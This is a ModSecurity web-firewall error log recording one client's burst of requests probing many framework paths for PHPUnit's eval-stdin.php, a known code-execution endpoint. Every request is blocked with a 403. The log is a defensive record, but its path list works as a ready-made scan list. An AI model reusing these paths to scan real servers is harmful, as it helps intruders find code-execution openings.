[Sat Oct 24 20:47:47.042694 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunAAAACk"]
[Sat Oct 24 20:47:47.092801 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunQAAACk"]
[Sat Oct 24 20:47:47.093264 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunQAAACk"]
[Sat Oct 24 20:47:47.093625 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunQAAACk"]
[Sat Oct 24 20:47:47.137351 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtungAAACk"]
[Sat Oct 24 20:47:47.137818 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtungAAACk"]
[Sat Oct 24 20:47:47.138128 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtungAAACk"]
[Sat Oct 24 20:47:47.186151 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunwAAACk"]
[Sat Oct 24 20:47:47.186600 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunwAAACk"]
[Sat Oct 24 20:47:47.186889 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunwAAACk"]
[Sat Oct 24 20:47:47.237952 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuoAAAACk"]
[Sat Oct 24 20:47:47.238372 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuoAAAACk"]
[Sat Oct 24 20:47:47.238664 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuoAAAACk"]
[Sat Oct 24 20:47:47.282136 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuoQAAACk"]
[Sat Oct 24 20:47:47.282586 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuoQAAACk"]
[Sat Oct 24 20:47:47.282910 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuoQAAACk"]
[Sat Oct 24 20:47:47.336013 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuogAAACk"]
[Sat Oct 24 20:47:47.336461 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuogAAACk"]
[Sat Oct 24 20:47:47.336785 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuogAAACk"]
[Sat Oct 24 20:47:47.380687 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuowAAACk"]
[Sat Oct 24 20:47:47.381118 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuowAAACk"]
[Sat Oct 24 20:47:47.381433 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuowAAACk"]
[Sat Oct 24 20:47:47.424761 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupAAAACk"]
[Sat Oct 24 20:47:47.425182 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupAAAACk"]
[Sat Oct 24 20:47:47.425513 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupAAAACk"]
[Sat Oct 24 20:47:47.473133 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupQAAACk"]
[Sat Oct 24 20:47:47.473561 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupQAAACk"]
[Sat Oct 24 20:47:47.473863 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupQAAACk"]
[Sat Oct 24 20:47:47.516253 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupgAAACk"]
[Sat Oct 24 20:47:47.516671 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupgAAACk"]
[Sat Oct 24 20:47:47.516952 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupgAAACk"]
[Sat Oct 24 20:47:47.574434 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupwAAACk"]
[Sat Oct 24 20:47:47.574867 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupwAAACk"]
[Sat Oct 24 20:47:47.575172 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtupwAAACk"]
[Sat Oct 24 20:47:47.627765 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqAAAACk"]
[Sat Oct 24 20:47:47.628176 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqAAAACk"]
[Sat Oct 24 20:47:47.628495 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqAAAACk"]
[Sat Oct 24 20:47:47.677837 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqQAAACk"]
[Sat Oct 24 20:47:47.678251 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqQAAACk"]
